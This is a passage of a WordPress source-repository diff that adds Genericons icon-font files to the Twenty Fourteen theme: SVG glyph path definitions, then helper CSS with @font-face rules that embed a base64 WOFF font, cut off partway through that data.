+<glyph unicode="&#xf425;" d="M384 384v1280h256q0 53 37.5 90.5t90.5 37.5h384q53 0 90.5 -37.5t37.5 -90.5h256v-1280h-1152zM512 512h896v1024h-128v-128h-640v128h-128v-1024zM640 704q0 26 19 45t45 19t45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45zM640 960q0 26 19 45t45 19t45 -19t19 -45 t-19 -45t-45 -19t-45 19t-19 45zM640 1216q0 26 19 45t45 19t45 -19t19 -45t-19 -45t-45 -19t-45 19t-19 45zM768 1600q0 -26 19 -45t45 -19h256q26 0 45 19t19 45t-19 45t-45 19h-256q-26 0 -45 -19t-19 -45zM896 640v128h384v-128h-384zM896 896v128h384v-128h-384z M896 1152v128h384v-128h-384z" />
+<glyph unicode="&#xf426;" d="M128 768q0 106 75 181t181 75h7q-7 29 -7 64q0 133 93.5 226.5t226.5 93.5q134 0 228 -96q47 101 140.5 162.5t207.5 61.5q159 0 271.5 -112.5t112.5 -271.5q0 -62 -23 -128h23q106 0 181 -75t75 -181t-75 -181t-181 -75h-1280q-106 0 -181 75t-75 181z" />
+<glyph unicode="&#xf427;" d="M384 384v288l455 455l-1 1q-74 74 -74 180t74 181l233 233q75 74 181 74t180 -74l286 -286q74 -75 74 -180.5t-74 -180.5l-233 -233q-74 -73 -178.5 -74t-179.5 71l-455 -455h-288zM1088 1360l256 -256l160 160l-256 256z" />
+<glyph unicode="&#xf428;" d="M768 1024q0 106 75 181t181 75t181 -75t75 -181t-75 -181t-181 -75t-181 75t-75 181z" />
+<glyph unicode="&#xf429;" d="M384 896v128h896l-343 343l87 86l493 -493l-493 -493l-87 86l343 343h-896z" />
+<glyph unicode="&#xf430;" d="M531 960l493 -493l87 86l-343 343h896v128h-896l343 343l-87 86z" />
+<glyph unicode="&#xf431;" d="M384 1152l128 128l448 -448l448 448l128 -128l-576 -576z" />
+<glyph unicode="&#xf432;" d="M384 768l576 576l576 -576l-128 -128l-448 448l-448 -448z" />
+<glyph unicode="&#xf433;" d="M0 0v896l896 -896h-896z" />
+<glyph unicode="&#xf434;" d="M1152 0l896 896v-896h-896z" />
+<glyph unicode="&#xf435;" d="M384 512l640 640l640 -640h-1280zM384 1280v128h1280v-128h-1280z" />
+<glyph unicode="&#xf436;" d="M512 640v128h128v-128h-128zM512 896v128h128v-128h-128zM512 1152v128h128v-128h-128zM512 1408v128h128v-128h-128zM768 640v128h128v-128h-128zM768 896v128h128v-128h-128zM768 1152v128h128v-128h-128zM768 1408v128h128v-128h-128zM1024 640v128h128v-128h-128z M1024 896v128h128v-128h-128zM1024 1152v128h128v-128h-128zM1024 1408v128h128v-128h-128zM1280 640v128h128v-128h-128zM1280 896v128h128v-128h-128zM1280 1152v128h128v-128h-128zM1280 1408v128h128v-128h-128z" />
+<glyph unicode="&#xf437;" d="M512 512v1024q0 106 75 181t181 75h512q106 0 181 -75t75 -181v-1024q0 -106 -75 -181t-181 -75h-512q-106 0 -181 75t-75 181zM640 768h768v768h-768v-768zM896 512q0 -53 37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5t-37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5z " />
+<glyph unicode="&#xf438;" d="M256 1024v256h512v128l384 -256l-384 -256v128h-512zM512 512v384h128v-128h768v768h-768v-128h-128v128q0 106 75 181t181 75h512q106 0 181 -75t75 -181v-1024q0 -106 -75 -181t-181 -75h-512q-106 0 -181 75t-75 181zM896 512q0 -53 37.5 -90.5t90.5 -37.5t90.5 37.5 t37.5 90.5t-37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5z" />
+<glyph unicode="&#xf439;" d="M384 1152h1280q0 -231 -145.5 -406.5t-366.5 -220.5v-269h-256v269q-221 45 -366.5 220.5t-145.5 406.5zM640 1280v384q0 53 37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5v-384h-256zM1152 1280v384q0 53 37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5v-384h-256z" />
+<glyph unicode="&#xf440;" d="M128 768q0 106 75 181t181 75h6q-6 32 -6 64q0 133 93.5 226.5t226.5 93.5q134 0 228 -96q47 101 140.5 162.5t207.5 61.5q159 0 271.5 -112.5t112.5 -271.5q0 -62 -23 -128h23q106 0 181 -75t75 -181t-75 -181t-181 -75h-384v256h-512v-256h-384q-106 0 -181 75t-75 181 zM640 384h256v256h256v-256h256l-384 -384z" />
+<glyph unicode="&#xf441;" d="M128 768q0 106 75 181t181 75h6q-6 32 -6 64q0 133 93.5 226.5t226.5 93.5q134 0 228 -96q47 101 140.5 162.5t207.5 61.5q159 0 271.5 -112.5t112.5 -271.5q0 -62 -23 -128h23q106 0 181 -75t75 -181t-75 -181t-181 -75h-512v256h256l-384 384l-384 -384h256v-256h-512 q-106 0 -181 75t-75 181z" />
+<glyph unicode="&#xf442;" d="M512 512v896h512l-128 -128h-256v-640h640v256l128 128v-512h-896zM896 987l550 549h-422v128h640v-640h-128v422l-550 -550z" />
+<glyph unicode="&#xf443;" d="M512 384v1280h640l384 -384v-896h-1024zM640 512h768v640h-384v384h-384v-1024z" />
+<glyph unicode="&#xf444;" d="M384 512v1024q0 106 75 181t181 75h1024v-1152h-64q-53 0 -90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5h64v-128h-1024q-106 0 -181 75t-75 181zM512 512q0 -53 37.5 -90.5t90.5 -37.5h818q-50 55 -50 128t50 128h-818q-53 0 -90.5 -37.5t-37.5 -90.5z" />
+<glyph unicode="&#xf445;" d="M160 747l232 201q-8 67 -8 76q0 8 8 75l-232 201l58 139l305 -21q47 60 107 107l-21 305l139 58l201 -232q67 8 75 8t75 -8l201 232l140 -58l-22 -305q56 -44 107 -107l305 22l58 -139l-232 -201q8 -67 8 -76q0 -8 -8 -75l232 -201l-58 -140l-305 22q-44 -56 -107 -107 l22 -305l-139 -58l-201 232q-67 -8 -76 -8q-8 0 -75 8l-201 -232l-139 58l21 305q-56 44 -107 107l-305 -22zM768 1024q0 -106 75 -181t181 -75t181 75t75 181t-75 181t-181 75t-181 -75t-75 -181z" />
+<glyph unicode="&#xf446;" d="M256 1024q0 209 103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5zM512 1024q0 -212 150 -362t362 -150q135 0 259 72l-699 699q-72 -126 -72 -259zM765 1464l699 -699 q72 123 72 259q0 212 -150 362t-362 150q-136 0 -259 -72z" />
+<glyph unicode="&#xf447;" d="M256 1664v128h384v-256h1152l-256 -640h-896v-128h896v-128h-1024v1024h-256zM512 384q0 53 37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5t-37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5zM1280 384q0 53 37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5t-37.5 -90.5 t-90.5 -37.5t-90.5 37.5t-37.5 90.5z" />
+<glyph unicode="&#xf448;" d="M512 384v1280h384v-1280h-384zM1152 384v1280h384v-1280h-384z" />
+<glyph unicode="&#xf449;" d="M512 512v1024h1024v-1024h-1024z" />
+<glyph unicode="&#xf450;" d="M256 384v1280h384v-1280h-384zM768 1024l1024 640v-1280z" />
+<glyph unicode="&#xf451;" d="M256 384v1280l1024 -640zM1408 384v1280h384v-1280h-384z" />
+<glyph unicode="&#xf452;" d="M512 384v1280l1024 -640z" />
+<glyph unicode="&#xf453;" d="M256 256v1536q0 106 75 181t181 75h1024q106 0 181 -75t75 -181v-1536q0 -106 -75 -181t-181 -75h-1024q-106 0 -181 75t-75 181zM512 512h1024v1280h-1024v-1280zM896 256q0 -53 37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5t-37.5 90.5t-90.5 37.5t-90.5 -37.5 t-37.5 -90.5z" />
+<glyph unicode="&#xf454;" d="M128 1024v256h512v128l384 -256l-384 -256v128h-512zM256 256v640h256v-384h1024v1280h-1024v-384h-256v384q0 106 75 181t181 75h1024q106 0 181 -75t75 -181v-1536q0 -106 -75 -181t-181 -75h-1024q-106 0 -181 75t-75 181zM896 256q0 -53 37.5 -90.5t90.5 -37.5 t90.5 37.5t37.5 90.5t-37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5z" />
+<glyph unicode="&#xf455;" d="M256 1024q0 209 103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5zM896 1408q0 -53 37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5t-37.5 90.5t-90.5 37.5t-90.5 -37.5 t-37.5 -90.5zM928 512h192v640h-192v-640z" />
+<glyph unicode="&#xf456;" d="M256 1024q0 209 103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5zM883 1536l51 -640h179l52 640h-282zM896 640q0 -53 37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5 t-37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5z" />
+<glyph unicode="&#xf457;" d="M256 1024q0 209 103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5zM720 1442l92 -180q134 71 234 71q38 0 65 -16q26 -17 26 -44q0 -35 -24 -63q-24 -27 -77 -61 q-68 -42 -95 -87q-26 -44 -26 -109v-57h204v34q0 29 17 49q18 21 87 66q83 53 120 111t37 139q0 111 -84 176q-85 65 -232 65q-180 0 -344 -94zM896 640q0 -53 37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5t-37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5z" />
+<glyph unicode="&#xf458;" d="M128 384v1280l768 -480v480l1024 -640l-1024 -640v480z" />
+<glyph unicode="&#xf459;" d="M128 1024l1024 -640v480l768 -480v1280l-768 -480v480z" />
+<glyph unicode="&#xf460;" d="M256 1280h128l86 256h340l86 -256l-256 -768h-128zM533 1280h214l-43 128h-128zM768 512l256 768h128l86 256h340l86 -256h128l-256 -768h-768zM1301 1280h214l-43 128h-128z" />
+<glyph unicode="&#xf461;" d="M256 1261q8 -158 120 -264l648 -613l648 613q112 106 120 264t-93 276t-251.5 126.5t-262.5 -97.5l-161 -153l-161 153q-112 106 -262.5 97.5t-251.5 -126.5t-93 -276z" />
+<glyph unicode="&#xf462;" d="M102 1024l304 -455l213 142l-209 313l209 313l-213 142zM772 543l248 -62l256 1024l-248 62zM1430 711l213 -142l303 455l-303 455l-213 -142l208 -313z" />
+<glyph unicode="&#xf463;" d="M0 512v704l768 -384l256 128v-448h-1024zM0 1408v128h1536v-128l-768 -384zM1152 384v640q0 53 37.5 90.5t90.5 37.5h640q53 0 90.5 -37.5t37.5 -90.5v-640q0 -53 -37.5 -90.5t-90.5 -37.5h-640q-53 0 -90.5 37.5t-37.5 90.5zM1280 640h256v-256h128v256h256v128h-256 v256h-128v-256h-256v-128z" />
+<glyph unicode="&#xf464;" d="M0 512v704l768 -384l256 128v-448h-1024zM0 1408v128h1536v-128l-768 -384zM1152 384v640q0 53 37.5 90.5t90.5 37.5h640q53 0 90.5 -37.5t37.5 -90.5v-640q0 -53 -37.5 -90.5t-90.5 -37.5h-640q-53 0 -90.5 37.5t-37.5 90.5zM1280 640h640v128h-640v-128z" />
+<glyph unicode="&#xf465;" d="M0 512v704l768 -384l256 128v-448h-1024zM0 1408v128h1536v-128l-768 -384zM1152 384v640q0 53 37.5 90.5t90.5 37.5h640q53 0 90.5 -37.5t37.5 -90.5v-640q0 -53 -37.5 -90.5t-90.5 -37.5h-640q-53 0 -90.5 37.5t-37.5 90.5zM1260 656l272 -272l452 453l-90 90 l-362 -362l-181 181z" />
+<glyph unicode="&#xf466;" d="M0 1024l640 640v-320l-320 -320l320 -320v-320zM512 1024l640 640v-384h256q212 0 362 -150t150 -362v-300l-150 150q-74 74 -168 112t-194 38h-256v-384z" />
+<glyph unicode="&#xf467;" d="M384 1024l640 640v-384h256q212 0 362 -150t150 -362v-300l-150 150q-74 74 -168 112t-194 38h-256v-384z" />
+<glyph unicode="&#xf468;" d="M256 256v1536h256v-1536h-256zM640 896v768q35 0 63.5 13t54 32t56.5 38t85 32t125 13q70 0 125.5 -13t93 -32l75 -38t93 -32t125.5 -13h256v-768h-256q-70 0 -125.5 13t-93 32l-75 38t-93 32t-125.5 13q-71 0 -125 -13t-85 -32t-56.5 -38t-54 -32t-63.5 -13z" />
+<glyph unicode="&#xf469;" d="M256 512v768h1536v-768h-256v384h-1024v-384h-256zM640 640v128h768v-128q0 -158 113 -271l112 -113h-768l-112 113q-113 113 -113 271zM640 1408h768v256h-768v-256z" />
+<glyph unicode="&#xf470;" d="M384 384v640q0 53 37.5 90.5t90.5 37.5v128q0 212 150 362t362 150t362 -150t150 -362v-128q53 0 90.5 -37.5t37.5 -90.5v-640q0 -53 -37.5 -90.5t-90.5 -37.5h-1024q-53 0 -90.5 37.5t-37.5 90.5zM768 1152h512v128q0 106 -75 181t-181 75t-181 -75t-75 -181v-128z" />
+<glyph unicode="&#xf471;" d="M512 512v1024h512q106 0 181 -75t75 -181q0 -87 -57 -159q83 -39 134 -117t51 -172q0 -133 -93.5 -226.5t-226.5 -93.5h-576zM768 640h192q80 0 136 56t56 136t-56 136t-136 56h-192v-384zM768 1152h128q53 0 90.5 37.5t37.5 90.5t-37.5 90.5t-90.5 37.5h-128v-256z" />
+<glyph unicode="&#xf472;" d="M640 512l40 128h128l240 768h-128l40 128h448l-40 -128h-128l-240 -768h128l-40 -128h-448z" />
+<glyph unicode="&#xf473;" d="M384 384v1280h1280v-1280h-1280zM512 512h1024v576l-128 192l-448 -672l-192 288zM640 1280q0 -53 37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5t-37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5z" />
+<glyph unicode="&#xf474;" d="M128 256v384l154 -154l230 154l-154 -230l154 -154h-384zM128 1408v384h384l-154 -154l154 -230l-230 154zM640 768v512h768v-512h-768zM1536 256l154 154l-154 230l230 -154l154 154v-384h-384zM1536 1408l154 230l-154 154h384v-384l-154 154z" />
+<glyph unicode="&#xf500;" d="M128 0l960 960l960 -960h-1920z" />
+<glyph unicode="&#xf501;" d="M0 128l960 960l-960 960v-1920z" />
+<glyph unicode="&#xf502;" d="M128 2048l960 -960l960 960h-1920z" />
+<glyph unicode="&#xf503;" d="M1088 1088l960 960v-1920z" />
+</font>
+</defs></svg> 
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/genericons/genericons.css
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/genericons/genericons.css	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/genericons/genericons.css	(revision 33402)
@@ -0,0 +1,197 @@
+/**
+
+	Genericons Helper CSS
+
+*/
+
+
+/**
+ * The font was graciously generated by Font Squirrel (http://www.fontsquirrel.com). We love those guys.
+ */
+
+@font-face {
+    font-family: 'Genericons';
+    src: url('font/genericons-regular-webfont.eot');
+}
+
+@font-face {
+    font-family: 'Genericons';
+    src: url(data:application/font-woff;charset=utf-8;base64,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